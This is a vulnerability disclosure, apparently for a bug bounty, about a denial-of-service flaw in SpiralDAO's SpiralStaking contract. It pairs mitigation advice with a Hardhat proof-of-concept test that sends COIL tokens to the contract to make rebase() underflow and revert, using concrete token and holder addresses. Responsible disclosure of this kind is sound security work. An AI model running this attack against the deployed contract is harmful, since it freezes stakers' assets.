SpiralDAO_StakingDoS.md

Description
Contract in scope: SpiralStaking
Vulnerable method: function rebase() public
Line of bug: Coil.mint(address(this), (totalSpiral * index / initialIndex) - Coil.balanceOf(address(this)));

Malicious or accidental sending of COIL tokens to this contract can lead to arithmetic underflow when Coil.balanceOf(address(this)) > (totalSpiral * index / initialIndex).

Impacts:
DoS of methods rebase and subsequently stake/unstake (calls rebase), i.e. stakers assets are frozen in the contract.

Solutions:
Immediately: In case of this attack, set epoch.apr to 0. This ensures that the vulnerable line is not executed and stakers can unstake.
New contract: Check for underflow with an additional if and only mint if necessary.

Attack Scenario
Anyone with enough COIL tokens can simply send them to the SpiralStaking contract such that Coil.balanceOf(address(this)) > (totalSpiral * index / initialIndex).
This is all it takes to facilitate the attack.

Proof of Concept
The whole Hardhat mainet fork PoC project is available upon request.

Here is the relevant typescript test code:

import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/dist/src/signer-with-address";
import { expect } from "chai";
import { ethers, network } from "hardhat";

import * as contracts from "../../src/types";
import { addBalance_ETH, impersonate, printBalance_ERC20, printBalance_ETH, sendToken_ERC20 } from "./helper";

describe("Attach to external contract", async function () {
  let signer: SignerWithAddress;

  let stakingContract: contracts.SpiralStaking;

  before(async function () {
    // address of external contract must be provided via env. variable
    const contractAddress: string = <string>process.env.CONTRACT_ADDRESS;
    const impersonateAddress: string = <string>process.env.IMPERSONATE_ADDRESS;

    if (impersonateAddress) {
      signer = await impersonate(impersonateAddress);
    } else {
      [signer] = await ethers.getSigners();
    }

    // PoC: fill attacker/signer account with 10 000 COIL
    const contractCoil = "0x823E1B82cE1Dc147Bbdb25a203f046aFab1CE918";
    const holderCoil = "0xAF4264916B467e2c9C8aCF07Acc22b9EDdDaDF33";
    await sendToken_ERC20(contractCoil, holderCoil, signer.address, 10000);
    
    stakingContract = await ethers.getContractAt("SpiralStaking", contractAddress, signer);
  });

  it("DoS attack", async function () {
    // PoC: send 10 000 COIL to staking contract
    const contractCoil = "0x823E1B82cE1Dc147Bbdb25a203f046aFab1CE918"
    await sendToken_ERC20(contractCoil, signer.address, stakingContract.address, 10000);

    // PoC: rebase DoS
    await expect(stakingContract.connect(signer).rebase()).to.be.reverted;

    // skip 10 000 blocks
    await network.provider.send("hardhat_mine", ["0x2710"]);

    // PoC: rebase DoS
    await expect(stakingContract.connect(signer).rebase()).to.be.reverted;
  });
});